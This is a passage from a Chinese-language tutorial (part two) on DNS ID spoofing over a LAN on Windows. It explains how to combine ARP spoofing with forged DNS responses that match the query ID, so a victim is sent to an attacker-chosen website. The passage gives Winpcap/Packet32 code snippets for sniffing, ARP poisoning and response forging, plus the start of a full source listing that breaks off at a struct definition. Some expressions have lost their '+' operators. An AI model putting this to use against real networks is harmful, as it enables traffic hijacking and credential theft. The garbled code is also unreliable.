Windows下DNS ID欺骗的原理与实现( 二 )


在监视网关和客户端主机之间的数据报时,假如发现了客户端发送的DNS查询数据报(目的端口为53),那么我们可以提前将自己构造的DNS响应数据报发送到客户端 。注重,我们必须提取有客户端发送来的DNS查询数据报的ID信息,因为客户端是通过它来进行匹配认证的,这就是一个我们可以利用的DNS漏洞 。这样客户端会先收到我们发送的DNS响应数据报并访问我们自定义的网站,虽然客户端也会收到DNS服务器的响应报文,不过已经来不及了,哈哈 。

三.核心代码分析
主程序创建两个线程,一个线程进行实时的ARP欺骗,另一个线程监听接收到的数据报,若发现有域名服务查询数据报,则立即向客户端发送自定义的DSN响应数据报 。测试环境:Windows2000VC6.0Winpcap_3.0_alpha,注册表:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipParametersIPEnableRouter = 0x1 。
1.sniff线程:
PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS);
//将网卡设置为混杂模式
PacketSetBuff(lpadapter,500*1024);
//设置网络适配器的内核缓存;
PacketSetReadTimeout(lpadapter,1);
//设置等待时间;
PacketReceivePacket(lpadapter,lppacketr,TRUE);
//接收网络数据报;
checksum((USHORT *)temp,sizeof(PSD) sizeof(UDPHDR) sizeof(DNS) ulen sizeof(QUERY) sizeof(RESPONSE));
//计算校验和;
PacketInitPacket(lppackets,sendbuf,sizeof(ETHDR) sizeof(IPHDR) sizeof(UDPHDR) sizeof(DNS) ulen 4 sizeof(RESPONSE));
//初始化一个_PACKET结构,发送DNS响应数据报;
2.arpspoof线程;
PacketInitPacket(lppackets,sendbuf,sizeof(eth) sizeof(arp));
//初始化ARP响应数据报;
PacketSendPacket(lpadapter,lppackets,TRUE);
//发送ARP欺骗的响应数据报;
3.getmac()函数
GetAdaptersInfo(padapterinfo,&adapterinfosize);
//获取网络适配器的属性;
SendARP(destip,0,pulmac,&ullen);
//发送ARP请求数据报,过去网络主机的MAC地址;
4.main()函数
PacketGetAdapterNames((char *)adaptername,&adapterlength);
//获得本地主机的网络适配器列表和描述;
lpadapter=PacketOpenAdapter(adapterlist[open-1]); 
//打开指定的网络适配器;
CreateThread(NULL,0,sniff,NULL,0,&threadrid);
CreateThread(NULL,0,arpspoof,NULL,0,&threadsid);
//创建两个线程;
WaitForMultipleObjects(2,thread,FALSE,INFINITE);
//等待其中的某个线程结束;
四.小结与后记
局域网内的网络安全是一个值得大家关注的问题,往往轻易发起各种欺骗攻击,这是局域网自身的属性所决定的--网络共享 。本文所讲解的DNS ID欺骗是基于ARP欺骗之上的网络攻击,假如在广域网上,则比较麻烦 。不过也有一些例外情况:假如IE中使用代理服务器,欺骗不能进行,因为这时客户端并不会在本地进行域名请求;假如你访问的不是网站主页,而是相关子目录的文件,这样你在自定义的网站上不会找到相关的文件,登陆以失败告终 。假如你不幸被欺骗了,先禁用本地连接,然后启用本地连接就可以清除DNS缓存 。
五.附件源代码
#include <packet32.h>
#include <iphlpapi.h>
#include <stdio.h>
#define ETH_IP0x0800
#define ETH_ARP 0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY0x0002
#define ARP_HARDWARE 0x0001
#define MAX_NUM_ADAPTER 10
#define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020
#pragma pack(push,1)
typedef struct ethdr
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;

推荐阅读